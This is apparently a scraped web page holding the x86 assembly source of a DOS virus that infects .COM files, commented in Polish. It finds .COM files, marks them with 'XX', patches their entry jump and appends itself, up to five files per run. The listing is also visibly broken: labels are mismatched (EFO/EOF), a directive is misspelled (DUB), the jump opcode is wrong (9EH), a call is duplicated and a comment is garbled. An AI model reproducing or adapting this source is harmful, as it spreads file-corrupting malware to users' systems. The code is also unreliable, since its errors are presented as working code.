1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138
| CODE SEGMENT PUBLIC \'CODE\' ASSUME CS:CODE ORG 100H Start: DB 0E9H,2,0 ; skok do następnej komendy DW 'XX' ; identyfikator pliku
Virus: CALL RealCode ; skok do RealCode
RealCode: POP BP ; zdjęcie IP ze stosu SUB BP,3 ; 3 to długość instrukcji CALL RealCode ; teraz mamy w rejestrze BP wartość, ; którą musimy dodawać do każdego z ; adresów LEA SI,OFFSET [BP+OldJump] ; do SI adres OldJUMP MOV DI,100H ; do DI adres 100H PUSH DI ; na stos wartość 100H ; by zadziałała instrukcja RET MOVSB ; przekopiowanie bajtu MOVSW ; i jeszcze dwóch bajtów MOVSW ; i kolejne dwa bajty ; z SI do DI. Teraz na początkurn; programu znajduje się jego ; oryginalny KOD MOV [BP+Counter],BYTE PTR 0 ; wyzerowanie licznika zarażeń LEA DX,[BP+OFFSET ComFileSpec] ; do DX nazwa szukanego pliku CALL FindFirst ; szukanie i zarażenie pliku RET ; powrót pod 100H i wykonanie ; oryginalnego programu FindFirst: ; szukanie pliku CMP [BP+Counter],5 ; jeśli zainfekowane JA Quit ; więcej niż 5 plików to QUIT MOV AH,4EH ; szukanie pliku MOV CX,7 ; z dowolnymi atrybutami
FindNext: INT 21H JC Quit ; jeśli nie znaleziono, to QUIT CALL Infection ; jeśli znaleziono, to infekcja
FindNext2: MOV AH,4FH ; szukanie kolejnej ofiary :-) JMP FindNext
Quit: RET
Infection: ; infekcja zbioru MOV AL,0H ; do AL 0, czyli CALL Open ; otwarcie zbioru tylko do ; odczytu MOV AH,3FH ; przeczytanie MOV CX,1AH ; 1A bajtów LEA DX,[BP+OFFSET Buffer] ; i zapamiętanie ich w buforze INT 21H MOV AH,3EH ; zamkniecie pliku INT 21H
CheckCOM: MOV BX,WORD PTR [BP+80H+1AH] ; do BX wielkość zbioru z ; bloku DTA CMP WORD PTR CS:[BP+Buffer+3],\'XX\' ; jeśli 4 i 5 bajt zbioru ; to XX JE QuitInfect ; tzn. ze jest on już zarażony ; wiec koniec infekcji JMP InfectCOM ; skok do INFECTCOM
QuitInfect: RET
InfectCOM: SUB BX,3 ; zmniejszenie wielkości ; zbioru o 3, bo tyle zajmuje ; polecenie JMP LEA SI,[BP+Buffer] ; do SI adres bufora LEA DI,[BP+OldJump] ; do DI adres OLDJUMP MOVSB ; / przekopiowanie trzech MOVSW ;- pierwszych bajtów pliku MOVSW ;/ do zmiennej OLDJUMP MOV [BP+Buffer],BYTE PTR 09EH ; zamiana pierwszego bajtu w ; buforze na 9E, czyli JMP MOV WORD PTR [BP+Buffer+1],BX ; dalej zapisanie wielkości ; zbioru. MOV WORD PTR [BP+Buffer+3],\'XX\' ; za tym wszystkim w 4 i 5 ; bajcie zapisanie XX, czyli ; identyfikator zarażenia
FinishInfection:
MOV AL,2 ; AL=2 czyli CALL Open ; otwarcie zbioru do odczytu i zapisu MOV AH,40H ; zapisanie w pliku LEA DX,[BP+Buffer] ; z bufora MOV CX,5 ; 5 bajtów INT 21H JC CloseFile ; jeśli błąd, to zamknij plik MOV AL,2 ; AL=2, czyli CALL Move_fp ; ustawienie wskaźnika na ; koniec pliku MOV AH,40H ; zapisanie MOV CX,EOF-Virus ; (koniec - początek) bajtów LEA DX,[BP+OFFSET Virus] ; począwszy od początku wirusa INT 21H INC [BP+Counter] ; zwiększenie licznika ; zarażonych zbiorów CloseFile: MOV AH,3EH ; zamknięcie dojścia do pliku INT 21H RET
Move_fp: ; zmiana położenia wskaźnika MOV AH,42H ; w pliku XOR CX,CX XOR DX,DX INT 21H RET
Open: MOV AH,3DH ; otwarcie pliku MOV DX,9EH INT 21H XCHG AX,BX RET ComFileSpec DB \"*.COM\",0 ; szukany plik OldJump DB 0CDH,020H,0,0,0 ; zapamiętane 3-pierwsze bajty
EFO EQU $
; zapisywana jest część wirusa aż do EOF. Zmienne poniżej nie są ; zapisywane w pliku, gdyż tylko zwiększyłyby jego objętość, a ; ich wartości nie są ważne
Counter DB 0 ; licznik zarażeń Buffer DB 01AH DUB (?) ; bufor
EOV EQU $ END START |